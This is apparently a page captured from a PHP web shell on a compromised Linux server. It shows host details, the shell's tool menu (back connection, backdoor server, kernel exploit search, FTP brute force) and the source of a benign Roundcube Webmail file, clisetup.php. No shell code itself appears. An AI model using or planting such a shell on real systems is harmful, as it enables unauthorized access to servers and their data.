|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 24.74 GB of 70.42 GB (35.14%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
mail.1/
program/
include/
- drwxr-xr-x
|
Viewing file: clisetup.php (2.79 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
<?php
/* +-----------------------------------------------------------------------+ | program/include/clisetup.php | | | | This file is part of the Roundcube Webmail client | | Copyright (C) 2010, The Roundcube Dev Team | | Licensed under the GNU GPL | | | | PURPOSE: | | Setup the command line environment and provide some utitlity | | functions. | +-----------------------------------------------------------------------+ | Author: Thomas Bruederli <roundcube@gmail.com> | +-----------------------------------------------------------------------+
$Id: clisetup.php 5299 2011-10-03 09:25:33Z alec $
*/
if (php_sapi_name() != 'cli') { die('Not on the "shell" (php-cli).'); }
require_once INSTALL_PATH . 'program/include/iniset.php';
// Unset max. execution time limit, set to 120 seconds in iniset.php @set_time_limit(0);
/** * Parse commandline arguments into a hash array */ function get_opt($aliases=array()) { $args = array(); for ($i=1; $i<count($_SERVER['argv']); $i++) { $arg = $_SERVER['argv'][$i]; if (substr($arg, 0, 2) == '--') { $sp = strpos($arg, '='); $key = substr($arg, 2, $sp - 2); $value = substr($arg, $sp+1); } else if ($arg{0} == '-') { $key = substr($arg, 1); $value = $_SERVER['argv'][++$i]; } else continue;
$args[$key] = preg_replace(array('/^["\']/', '/["\']$/'), '', $value); if ($alias = $aliases[$key]) $args[$alias] = $args[$key]; }
return $args; }
/** * from http://blogs.sitepoint.com/2009/05/01/interactive-cli-password-prompt-in-php/ */ function prompt_silent($prompt = "Password:") { if (preg_match('/^win/i', PHP_OS)) { $vbscript = sys_get_temp_dir() . 'prompt_password.vbs'; file_put_contents($vbscript, 'wscript.echo(InputBox("' . addslashes($prompt) . '", "", "password here"))'); $command = "cscript //nologo " . escapeshellarg($vbscript); $password = rtrim(shell_exec($command)); unlink($vbscript); return $password; } else { $command = "/usr/bin/env bash -c 'echo OK'"; if (rtrim(shell_exec($command)) !== 'OK') { echo $prompt; $pass = trim(fgets(STDIN)); echo chr(8)."\r" . $prompt . str_repeat("*", strlen($pass))."\n"; return $pass; } $command = "/usr/bin/env bash -c 'read -s -p \"" . addslashes($prompt) . "\" mypassword && echo \$mypassword'"; $password = rtrim(shell_exec($command)); echo "\n"; return $password; } }
?>
|